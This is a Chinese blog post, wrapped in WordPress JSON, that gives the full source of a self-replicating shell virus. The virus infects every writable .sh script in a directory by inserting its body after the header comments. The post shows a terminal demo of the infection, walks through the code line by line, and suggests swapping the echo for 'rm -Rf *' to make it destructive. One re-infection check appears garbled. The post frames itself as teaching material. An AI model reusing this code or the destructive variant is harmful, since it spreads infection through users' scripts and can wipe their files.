\u8bf4\u8d77\u75c5\u6bd2\u603b\u6709\u70b9\u795e\u79d8\u7684\u5473\u9053\uff0c\u60f3\u8d77\u4ee5\u524d\u7528\u6c47\u7f16\u7f16\u5199\u7b2c\u4e00\u4e2ados\u75c5\u6bd2\u65f6\u662f\u90a3\u4e48\u7684\u75db\u82e6 \u4ece\u5f00\u59cb\u6709\u8bbe\u60f3\u5230\u5b8c\u6210\u82b1\u4e863\u4e2a\u591a\u6708\uff0c\u800c\u4e14\u5199\u7684\u4e5f\u662f\u4e71\u4e03\u516b\u7cdf\uff0c\u6700\u8fd1\u7a81\u53d1\u5947\u60f3\u4e0d\u5c31\u662f\u611f \u67d3\u5176\u4ed6\u6587\u4ef6\uff0c\u4f20\u64ad\u81ea\u5df1\u5417\uff0c\u7528shell\u5199\u4e00\u4e2a\u75c5\u6bd2\u4e14\u4e0d\u662f\u975e\u5e38\u7b80\u5355\uff0c\u4e8e\u662f\u987a\u624b\u5199\u4e86\u5982\u4e0b \u8fd9\u4e48\u4e00\u4e2a\u5c0f\u811a\u672c\uff0c\u529f\u80fd\u5c31\u662f\u611f\u67d3\u5176\u4ed6shell\u7a0b\u5e8f\u3002
\n\u8fd9\u4e2a\u7a0b\u5e8f\u5728\u73b0\u5b9e\u610f\u4e49\u4e0d\u5927\uff0c\u4f46\u5bf9\u4e8e\u5f62\u8c61\u7684\u7406\u89e3\u75c5\u6bd2\u4f20\u64ad\u673a\u5236\u8fd8\u662f\u5f88\u5f88\u6709\u5e2e\u52a9\uff0c\u53ef\u4ee5 \u7b97\u6559\u5b66\u610f\u4e49\u5927\u4e8e\u5b9e\u9645\u610f\u4e49\u5427\u3002
\nSHELL\u75c5\u6bd2\u7b80\u4ecb
\n1. \u524d\u8a00
\n\u8bf4\u8d77\u75c5\u6bd2\u603b\u6709\u70b9\u795e\u79d8\u7684\u5473\u9053\uff0c\u60f3\u8d77\u4ee5\u524d\u7528\u6c47\u7f16\u7f16\u5199\u7b2c\u4e00\u4e2ados\u75c5\u6bd2\u65f6\u662f\u90a3\u4e48\u7684\u75db\u82e6 \u4ece\u5f00\u59cb\u6709\u8bbe\u60f3\u5230\u5b8c\u6210\u82b1\u4e863\u4e2a\u591a\u6708\uff0c\u800c\u4e14\u5199\u7684\u4e5f\u662f\u4e71\u4e03\u516b\u7cdf\uff0c\u6700\u8fd1\u7a81\u53d1\u5947\u60f3\u4e0d\u5c31\u662f\u611f \u67d3\u5176\u4ed6\u6587\u4ef6\uff0c\u4f20\u64ad\u81ea\u5df1\u5417\uff0c\u7528shell\u5199\u4e00\u4e2a\u75c5\u6bd2\u4e14\u4e0d\u662f\u975e\u5e38\u7b80\u5355\uff0c\u4e8e\u662f\u987a\u624b\u5199\u4e86\u5982\u4e0b \u8fd9\u4e48\u4e00\u4e2a\u5c0f\u811a\u672c\uff0c\u529f\u80fd\u5c31\u662f\u611f\u67d3\u5176\u4ed6shell\u7a0b\u5e8f\u3002
\n\u8fd9\u4e2a\u7a0b\u5e8f\u5728\u73b0\u5b9e\u610f\u4e49\u4e0d\u5927\uff0c\u4f46\u5bf9\u4e8e\u5f62\u8c61\u7684\u7406\u89e3\u75c5\u6bd2\u4f20\u64ad\u673a\u5236\u8fd8\u662f\u5f88\u5f88\u6709\u5e2e\u52a9\uff0c\u53ef\u4ee5 \u7b97\u6559\u5b66\u610f\u4e49\u5927\u4e8e\u5b9e\u9645\u610f\u4e49\u5427\u3002
\n2. \u7a0b\u5e8f\u4ee3\u7801
\n#!\/bin\/sh
\n#\u6587\u4ef6\u540d: virus_demo.sh
\n#\u7528\u9014 : shell\u75c5\u6bd2\u6f14\u793a\u3002
\n#\u8bf4\u660e : \u75c5\u6bd2\u5c06\u611f\u67d3\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6240\u6709.sh\u7ed3\u5c3e\u7684\u6587\u4ef6\uff0c\u4f46\u4e0d\u4f1a\u91cd\u590d\u611f\u67d3\u3002
\n#\u7f16\u5199 :
\nwatercloud@xfocus.org<\/p>\n
#\u65e5\u671f : 2003-5-13
\n#B:
\nvFile=$_ ; vTmp=\/tmp\/.vTmp.$$
\nfor f in .\/*.sh; do
\nif [ ! -w $f -a ! -r $vFile ]; then continue; fi
\nif grep '' $f ; then continue; fi
\nif sed -n '1p' $f | grep 'csh'; then continue; fi
\ncp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
\nvNo=`awk '$0~\/(^\\b*#)|(^\\b*$)\/&&v==NR-1{v++}END{print 0+v}' $vTmp`
\nsed -n \"1,${vNo}p\" $vTmp >$f
\n(sed -n '\/^#B:\/,\/^#E:\/p' $vFile ;echo ) >>$f
\nvNo=`expr $vNo + 1`
\nsed -n \"${vNo},\\$p\" $vTmp >>$f
\nrm -f $vTmp
\ndone >\/dev\/null 2>&1
\nunset vTmp ;unset vFile ;unset vNo
\necho \"Hi, here is a demo shell virus in your script !\"
\n#E:
\n#EOF
\n\u770bshell\u662f\u591a\u4e48\u5f97\u5f3a\u5927\uff0c\u8fd9\u4e48\u77ed\u77ed\u5f97\u7a0b\u5e8f\u5c31\u80fd\u611f\u67d3\u5176\u4ed6\u7a0b\u5e8f\u6587\u4ef6
\n3. \u6f14\u793a
\n\u6d4b\u8bd5\u4e00\u4e0b\uff1a
\n\u5148\u5728\u5f53\u524d\u76ee\u5f55\u653e\u4e24\u4e2a\u6587\u4ef6\uff0c\u4e00\u4e2a\u75c5\u6bd2\u6587\u4ef6\uff0c\u4e00\u4e2a\u7528\u6765\u4f5c\u88ab\u611f\u67d3\u6d4b\u8bd5\u7528\u3002
\n[cloud@ \/export\/home\/cloud\/vir]> ls -l
\ndrwxr-xr-x 2 cloud staff 512 6?? 4 17:43 .\/
\ndrwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ..\/
\n-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh
\n-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh
\n\u6765\u770b\u770b\u6211\u4eec\u8fd9\u4e2a\"\u8089\u9e21\"\u811a\u672c,\u5f88\u7b80\u5355\uff1a
\n[cloud@ \/export\/home\/cloud\/vir]> cat test.sh
\n#!\/bin\/sh
\n# Just a demo for virus test
\n# Author : foo
\n# Date : 3000-1-1
\nls -l
\n#EOF
\n\u597d\u4e86\u5f00\u59cb\u611f\u67d3\u4ed6\u3002
\n[cloud@ \/export\/home\/cloud\/vir]> .\/virus_demo.sh
\nHi, here is a demo shell virus in your script !
\n\u6765\u770b\u770b\u611f\u67d3\u540e\u7684\u7ed3\u679c\uff1a
\n[cloud@ \/export\/home\/cloud\/vir]> cat test.sh
\n#!\/bin\/sh
\n# Just a demo for virus test
\n# Author : foo
\n# Date : 3000-1-1
\n#B:
\nvFile=$_ ; vTmp=\/tmp\/.vTmp.$$
\nfor f in .\/*.sh; do
\nif [ ! -w $f -a ! -r $vFile ]; then continue; fi
\nif grep '' $f ; then continue; fi
\nif sed -n '1p' $f | grep 'csh'; then continue; fi
\ncp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
\nvNo=`awk '$0~\/(^\\b*#)|(^\\b*$)\/&&v==NR-1{v++}END{print 0+v}' $vTmp`
\nsed -n \"1,${vNo}p\" $vTmp >$f
\n(sed -n '\/^#B:\/,\/^#E:\/p' $vFile ;echo ) >>$f
\nvNo=`expr $vNo + 1`
\nsed -n \"${vNo},\\$p\" $vTmp >>$f
\nrm -f $vTmp
\ndone >\/dev\/null 2>&1
\nunset vTmp ;unset vFile ;unset vNo
\necho \"Hi, here is a demo shell virus in your script !\"
\n#E:
\nls -l
\n#EOF
\n\u770b\uff0c\u75c5\u6bd2\u4f53:
\n#B:
\n. . . .
\n#E:
\n\u88ab\u62f7\u8d1d\u8fc7\u6765\u4e86\uff0c\u8fd9\u6837\u75c5\u6bd2\u5c31\u88ab\u4f20\u64ad\u4e86\u3002\u503c\u5f97\u6ce8\u610f\u7684\u662f\u75c5\u6bd2\u4f53\u63d2\u5165\u7684\u4f4d\u7f6e\u662f\u5728\u6e90test.sh\u7684\u6709\u6548\u7a0b\u5e8f\u884c\u7684\u5f00\u59cb\u5904\uff01 \u8fd9\u4e3b\u8981\u8003\u8651\u5230\u4e00\u822cshell\u7a0b\u5e8f\u5927\u5bb6\u90fd\u559c\u6b22\u5728\u7a0b\u5e8f\u5f00\u59cb\u5904\u4f5c\u6ce8\u91ca\u8bf4\u660e\uff0c \u4f60\u597d\u6b79\u4e0d\u80fd\u628a\u522b\u4eba\u7684\u6ce8\u91ca\u4fe1\u606f\u7ed9\u653e\u5230\u540e\u9762\u53bb\uff0c\u90a3\u4e5f\u592a\u660e\u663e\u4e86\u5427\u3002
\n\u6765\u6267\u884c\u770b\u770b\u6211\u4eec\u65b0\u7684\u75c5\u6bd2\u4f53\u770b\u770b\uff1a
\n[cloud@ \/export\/home\/cloud\/vir]> .\/test.sh
\nHi, here is a demo shell virus in your script !
\n-rwxr-xr-x 1 cloud staff 724 6?? 4 17:44 test.sh
\n-rwxr-xr-x 1 cloud staff 773 6?? 4 17:42 virus_demo.sh
\n4. \u7b80\u5355\u8bb2\u89e3
\n\u6211\u4eec\u6765\u4e00\u6b65\u6b65\u5206\u6790\u4e00\u4e0b\u8fd9\u4e2a\u75c5\u6bd2\uff1a #B: \u75c5\u6bd2\u4f53\u5f00\u59cb\u6807\u8bb0,\u7528\u4e8e\u7a0b\u5e8f\u590d\u5236\u81ea\u5df1\u5b9a\u4f4d\u7528\u3002 vFile=$_ ; vTmp=\/tmp\/.vTmp.$$ \u5b9a\u4e49\u4e24\u4e2a\u53d8\u91cf\uff0c\u4e00\u4e2a\u4e34\u65f6\u6587\u4ef6\uff0c\u4e00\u4e2a\u8bb0\u5f55\u5f53\u524d\u7a0b\u5e8f\u540d\u79f0$_\uff0c\u8fd9\u4e5f\u5c31\u8981\u6c42\u6211\u4eec \u5fc5\u987b\u628a\u8fd9\u884c\u4f5c\u4e3a\u7a0b\u5e8f\u6709\u6548\u884c\u7684\u7b2c\u4e00\u884c\uff0c\u5982\u679c\u653e\u540e\u5934\u6211\u4eec\u5c31\u65e0\u6cd5\u5f97\u5230\u5f53\u524d\u7a0b\u5e8f \u540d\u79f0\uff0c\u540e\u9762\u5c31\u627e\u4e0d\u5230\u4ece\u54ea\u91cc\u53bb\u627e\u75c5\u6bd2\u4f53\u6765\u62f7\u8d1d\u4e86\u3002
\nfor f in .\/*.sh; do
\n\u5f00\u59cb\u5faa\u73af\uff0c\u627e\u5230\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6240\u6709.sh\u7ed3\u5c3e\u7684\u7a0b\u5e8f\u3002
\nif [ ! -w $f -a ! -r $vFile ]; then continue; fi
\n\u76ee\u6807\u662f\u5426\u6709\u5199\u6743\u9650\uff0c\u75c5\u6bd2\u6e90\u6587\u4ef6\u662f\u5426\u6709\u8bfb\u6743\u9650\u3002
\nif grep '' $f ; then continue; fi
\n\u76ee\u6807\u662f\u5426\u5df2\u7ecf\u4e2d\u6bd2\u5f88\u6df1\u65e0\u836f\u53ef\u6551\u4e86\uff0c\u5982\u679c\u662f\u8fd9\u6837\u8fd8\u7ed9\u4ed6\u518d\u6765\u4e00\u6b21\u4e5f\u592a\u4e0d\u4ec1\u4e49\u4e86\u5427\uff1f
\nif sed -n '1p' $f | grep 'csh'; then continue; fi
\n\u5982\u679c\u76ee\u6807shell\u662f\u4ee5csh\u7684\u90a3\u8bed\u6cd5\u4e0a\u5dee\u5f02\u592a\u5927\u4e86\uff0c\u653e\u5f03\u5427\u3002
\ncp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
\n\u597d\u4e86\u51c6\u5907\u611f\u67d3\uff0c\u5148\u628a\u76ee\u6807\u62f7\u8d1d\u4e00\u4e2a\u5907\u4efd\uff0c\u62f7\u8d1d\u5931\u8d25\u4e86\u600e\u4e48\u529e\uff1f\u5f53\u7136\u53ea\u597d\u653e\u5f03\u4e86\u3002
\nvNo=`awk '$0~\/(^\\b*#)|(^\\b*$)\/&&v==NR-1{v++}END{print 0+v}' $vTmp`
\n\u8fd9\u662f\u5e72\u561b\uff1f\u597d\u50cf\u633a\u590d\u6742\uff0c\u4e0d\u8fc7\u5b66shell\u75c5\u6bd2\u4e0d\u4e86\u89e3awk\u548c\u6b63\u89c4\u8868\u8fbe\u5f0f\u597d\u50cf\u6709\u70b9\u8bf4\u4e0d \u8fc7\u53bb\u5427\uff0c\u8fd9\u4e2a\u5c31\u662f\u627e\u5230\u7a0b\u5e8f\u5f00\u59cb\u7684\u6ce8\u91ca\u548c\u7a7a\u767d\u884c\u6709\u591a\u5c11\uff0c\u597d\u65b9\u4fbf\u6211\u4eec\u786e\u5b9a\u75c5\u6bd2\u4f53 \u63d2\u5165\u70b9\u3002
\nsed -n \"1,${vNo}p\" $vTmp >$f
\n\u4e00\u4e2ased\u547d\u4ee4\u628a\u76ee\u6807\u6587\u4ef6\u7684\u5f00\u59cb\u6ce8\u91ca\u90e8\u5206\u4ece\u5907\u4efd\u6587\u4ef6\u4e2dcopy\u56de\u6765\u3002
\n(sed -n '\/^#B:\/,\/^#E:\/p' $vFile ;echo ) >>$f
\n\u518d\u6765\u4e00\u4e2ased\u5b8c\u6210\u642c\u8fd0\u75c5\u6bd2\u4f53\u7684\u5de5\u4f5c\u3002
\nvNo=`expr $vNo + 1`
\nsed -n \"${vNo},\\$p\" $vTmp >>$f
\n\u6700\u540e\u4e00\u4e2ased\u628a\u76ee\u6807\u6587\u4ef6\u7684\u5176\u4ed6\u90e8\u5206\u642c\u56de\u6765\uff0csed\u771f\u5f3a\u5927\u5440\uff01\uff01
\nrm -f $vTmp
\n\u6e05\u7406\u4e00\u4e0b\u4e34\u65f6\u6587\u4ef6\u3002
\ndone >\/dev\/null 2>&1
\n\u5faa\u73af\u7ed3\u675f\u3002
\nunset vTmp ;unset vFile ;unset vNo
\n\u6e05\u7406\u4e00\u4e0b\u72af\u7f6a\u73b0\u573a\u3002
\necho \"Hi, here is a demo shell virus in your script !\"
\n\u90fd\u611f\u67d3\u4e86\u597d\u6b79\u4e5f\u8981\u663e\u793a\u70b9\u4e1c\u897f\u4ee5\u544a\u8bc9\u522b\u4eba\u8fd9\u662f\u4e2a\u88ab\u75c5\u6bd2\u611f\u67d3\u8fc7\u7684\u7a0b\u5e8f\u5427\u3002
\n#E:
\n\u75c5\u6bd2\u4f53\u7ed3\u675f\u6807\u8bb0,\u7528\u4e8e\u7a0b\u5e8f\u590d\u5236\u81ea\u5df1\u5b9a\u4f4d\u7528\u3002
\n5. \u540e\u8bb0
\n\u4ece\u4e2d\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u811a\u672c\u75c5\u6bd2\u975e\u5e38\u7b80\u5355\uff0c\u4e0d\u9700\u8981\u5f88\u591a\u77e5\u8bc6\u5c31\u80fd\u5199\u4e00\u4e2a\uff0c\u800c\u4e14\u75c5\u6bd2 \u7834\u574f\u529b\u4e5f\u662f\u4e0d\u53ef\u5c0f\u89c6\u6bd4\u5982\u6211\u4eec\u7684\u7a0b\u5e8f\u91cc\u628aecho\u4fe1\u606f\u6539\u4e3arm -Rf * \uff1b\u540c\u65f6\u53cd\u65b9\u9762 \u4e5f\u5c55\u793a\u4e86shell\u7684\u5f3a\u5927\u4e4b\u5904\uff0c\u8bd5\u60f3\u4f20\u7edf\u7684\u7a0b\u5e8f\u5149\u662f\u5904\u7406PE\u6587\u4ef6\u7ed3\u6784\u548cELF\u7ed3\u6784\u5c31\u5f97 \u82b1\u591a\u5c11\u529f\u592b\u3002
\n\u4e0a\u9762\u5f97\u7a0b\u5e8f\u5df2\u7ecf\u5728Linux\u548cSolaris\u4e0a\u6d4b\u8bd5\u901a\u8fc7\uff0cwindows\u4e0a\u5f97\u7528\u6237\u5728Cygwin\u4e0a \u5e94\u8be5\u4e5f\u884c\u3002
\n\u987a\u4fbf\u518d\u5f3a\u8c03\u4e00\u6b21\uff0c\u5199\u8fd9\u7bc7\u6587\u7ae0\u5f97\u76ee\u7684\u662f\u548c\u5927\u5bb6\u5206\u4eab\u4e00\u4e0b\u5bf9\u75c5\u6bd2\u5f97\u7406\u89e3\uff0c\u800c\u4e0d\u662f \u6559\u5199\u75c5\u6bd2\u51fa\u53bb\u5bb3\u4eba\uff0c\u5207\u8bb0\u5207\u8bb0\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
\u8bf4\u8d77\u75c5\u6bd2\u603b\u6709\u70b9\u795e\u79d8\u7684\u5473\u9053\uff0c\u60f3\u8d77\u4ee5\u524d\u7528\u6c47\u7f16\u7f16\u5199\u7b2c\u4e00\u4e2ados\u75c5\u6bd2\u65f6\u662f\u90a3\u4e48\u7684\u75db\u82e6 \u4ece\u5f00\u59cb\u6709\u8bbe\u60f3\u5230\u5b8c\u6210\u82b1\u4e863\u4e2a\u591a\u6708\uff0c\u800c\u4e14\u5199\u7684\u4e5f\u662f\u4e71\u4e03\u516b\u7cdf\uff0c\u6700\u8fd1\u7a81\u53d1\u5947\u60f3\u4e0d\u5c31\u662f\u611f \u67d3\u5176\u4ed6\u6587\u4ef6\uff0c\u4f20\u64ad\u81ea\u5df1\u5417\uff0c\u7528shell\u5199\u4e00\u4e2a\u75c5\u6bd2\u4e14...<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[],"class_list":["post-320","post","type-post","status-publish","format-standard","hentry","category-linux-gnu"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/320","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=320"}],"version-history":[{"count":0,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/320\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=320"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=320"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.liangliang.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=320"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}